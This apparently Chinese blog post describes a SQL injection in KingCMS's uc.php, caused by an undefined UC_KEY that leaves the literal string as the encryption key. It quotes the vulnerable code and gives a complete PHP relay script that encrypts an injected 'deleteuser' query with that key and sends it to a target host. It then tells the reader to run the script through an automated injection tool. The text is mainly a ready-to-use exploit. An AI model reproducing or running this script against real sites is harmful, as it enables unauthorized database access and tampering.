api/uc.php

UC_KEY没有初始化导致注入<?phpdefine ('UC_CLIENT_VERSION', '1.5.0');//note UCenter 版本标识

define('UC_CLIENT_RELEASE', '20090502');define('API_DELETEUSER', 1);//note 用户删除 API 接口开关

define('API_RENAMEUSER', 1);//note 用户改名 API 接口开关

define('API_GETTAG', 1);//note 获取标签 API 接口开关

define('API_SYNLOGIN', 1);//note 同步登录 API 接口开关

define('API_SYNLOGOUT', 1);//note 同步登出 API 接口开关

define('API_UPDATEPW', 1);//note 更改用户密码 开关

define('API_UPDATEBADWORDS', 1);//note 更新关键字列表 开关

define('API_UPDATEHOSTS', 1);//note 更新域名解析缓存 开关

define('API_UPDATEAPPS', 1);//note 更新应用列表 开关

define('API_UPDATECLIENT', 1);//note 更新客户端缓存 开关

define('API_UPDATECREDIT', 0);//note 更新用户积分 开关

define('API_GETCREDITSETTINGS', 0);//note 向 UCenter 提供积分设置 开关

define('API_GETCREDIT', 0);//note 获取用户的某项积分 开关

define('API_UPDATECREDITSETTINGS', 0);//note 更新应用积分设置 开关define('API_RETURN_SUCCEED', '1');

define('API_RETURN_FAILED', '-1');

define('API_RETURN_FORBIDDEN', '-2');define('KC_INDEX',True);

define('KC_CALL_FUNC',True);require_once '../global.php';//加载KingCMS$king->load('user');//加载用户类

//note 普通的 http 通知方式

error_reporting(0);

restore_error_handler();

set_magic_quotes_runtime(0);

define('ROOT', substr(dirname(__FILE__), 0, -3));

defined('MAGIC_QUOTES_GPC') || define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

define('UC_CLIENT_ROOT', ROOT.'user/client/');$_DCACHE = $get = $post = array();

//解码传入参数

$code = @$_GET['code'];

//var_dump(UC_KEY);

parse_str(_authcode($code, 'DECODE', UC_KEY), $get);//这里没有DEF UC_KEY 所以直接把UC_KEY作为一个字符串传入

if(MAGIC_QUOTES_GPC) {

$get = _stripslashes($get);

}

这样我们就能执行UC API来进行注入了写一个中转程序进行注入代码如下<?php

$timestamp = time()+10*3600;

$host="**.**.**.**";

$uc_key="UC_KEY";

$code=urlencode(_authcode("time=999999999999999999999999&ids=1) and 1={$_GET['id']} and 1 =(1&action=deleteuser", 'ENCODE', $uc_key));

echo file_get_contents("http://**.**.**.**//kingcms/api/uc.php?code={$code}");function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);$result = '';

$box = range(0, 255);$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}}

?>

保存为1.php

利用方法

http://**.**.**.**/x.php?id=1

丢到大萝卜里面跑就OKl饿

kingcms php 列表页bug,kingcms最新版sql注入漏洞相关推荐

  1. 从一个Laravel SQL注入漏洞开始的Bug Bounty之旅

    事先声明:本次测试过程完全处于本地或授权环境,仅供学习与参考,不存在未授权测试过程.本文提到的漏洞<Cachet SQL注入漏洞(CVE-2021-39165)>已经修复,也请读者勿使用该 ...

  2. php 越权 漏洞,PHPYUN最新版SQL注入及多处越权操作终结篇

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入及多处越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  3. 登录页面的SQL注入漏洞

    一.环境准备 1.在Linux准备一套Xampp或者Phpstudy:模拟攻防 2.在vscode安装Rremote Development插件,进行远程调试 新添加主机 ssh root@192.1 ...

  4. php拒绝式服务漏洞防御,PHPYUN最新版SQL注入(绕过防御)

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)SQL注入(绕过防御) ### 详细说明: PHPYUN最新版:phpyun_v3.1.0604_gbk 文件/mem ...

  5. phpmywind最新版sql注入以及后台目录遍历和文件读取

    最新版本 5.3 看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊. 前台会员注入 分析 http://www.wooyun.org/bugs/wooyun-2015-0117008 我看了 ...

  6. php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二

    ### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...

  7. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  8. 列表页进入详情页再返回列表页时,显示默认第一页的bug修复

    如图所示,当我点击分页第二页的第一项,进入详情页后,在点击返回按钮,按理说应该返回到列表页第二页,但是却变成了默认的首页 究其原因,大概是在返回列表页时,接口传参的当前页码pageNum默认传的是1, ...

  9. 京东三级列表页持续架构优化—Golang+Lua(OpenResty)最佳实践

    分类列表入口 分类列表入口,可以通过京东首页首屏左侧导航进入,是用户购买商品的几大入口之一. 分类列表,展示各个分类的商品,有综合排序.价格排序.销量排序.上架时间排序.图书还有出版时间排序.可以按照 ...

最新文章

  1. erp框架 saas_【观察】一周之后,浪潮云ERP将直面数字化转型2.0四大攻坚战
  2. swoole 异步MYSQL
  3. 爱奇艺android投屏,手机爱奇艺APP怎么将视频投屏上笔记本电脑?
  4. ELK(ElasticSearch+Logstash+ Kibana)搭建实时日志分析平台
  5. 刷新纪录 | 74.7 秒训练完 ImageNet!2048 GPU 暴力出奇迹
  6. idea怎么看sql执行打印_SQL查找是否quot;存在quot;,别再count了,很耗费时间的
  7. NOD32最新升级ID
  8. 如何判断一条曲线是否自己相交?
  9. Qt图形界面编程入门(1)
  10. 閱讀10大優點:為什麼你應該每天閱讀
  11. 分布式事务 - 梁飞的博客 - ITeye博客
  12. eclipse输入中文乱码,问题已解决
  13. 安装配置java,tomcat,eclipse
  14. linux dstat工具
  15. uva 10252 - Common Permutation 字符串水题
  16. Vs2013(VS2012,vs2011,vs2010)+opencv2.4.8配置
  17. 比较好用的Java模拟器,515最好的java模拟器
  18. ShuffleNet在Caffe框架下的实现
  19. Mac OS X 快捷键(完整篇)
  20. 2022-01-24:K 距离间隔重排字符串。 给你一个非空的字符串 s 和一个整数 k,你要将这个字符串中的字母进行重新排列,使得重排后的字符串中相同字母的位置间隔距离至少为 k。 所有输入的字符串

热门文章

  1. C#ListView操作一二
  2. Linux安装jdk
  3. 2019年定义区块链领域的7个法律问题(下篇)
  4. Win 32API速查
  5. 在商城项目开发中怎么保证促销商品不会超卖
  6. 用python整个活(4)——哥德巴赫猜想
  7. 国外LEAD第一笔收款你还记得吗
  8. 《Win10——常用快捷键》
  9. OpenGL ES for Android 绘制旋转的地球
  10. Oracle 报错ORA-00904: 标识符无效 ,但是列名和表名没有写错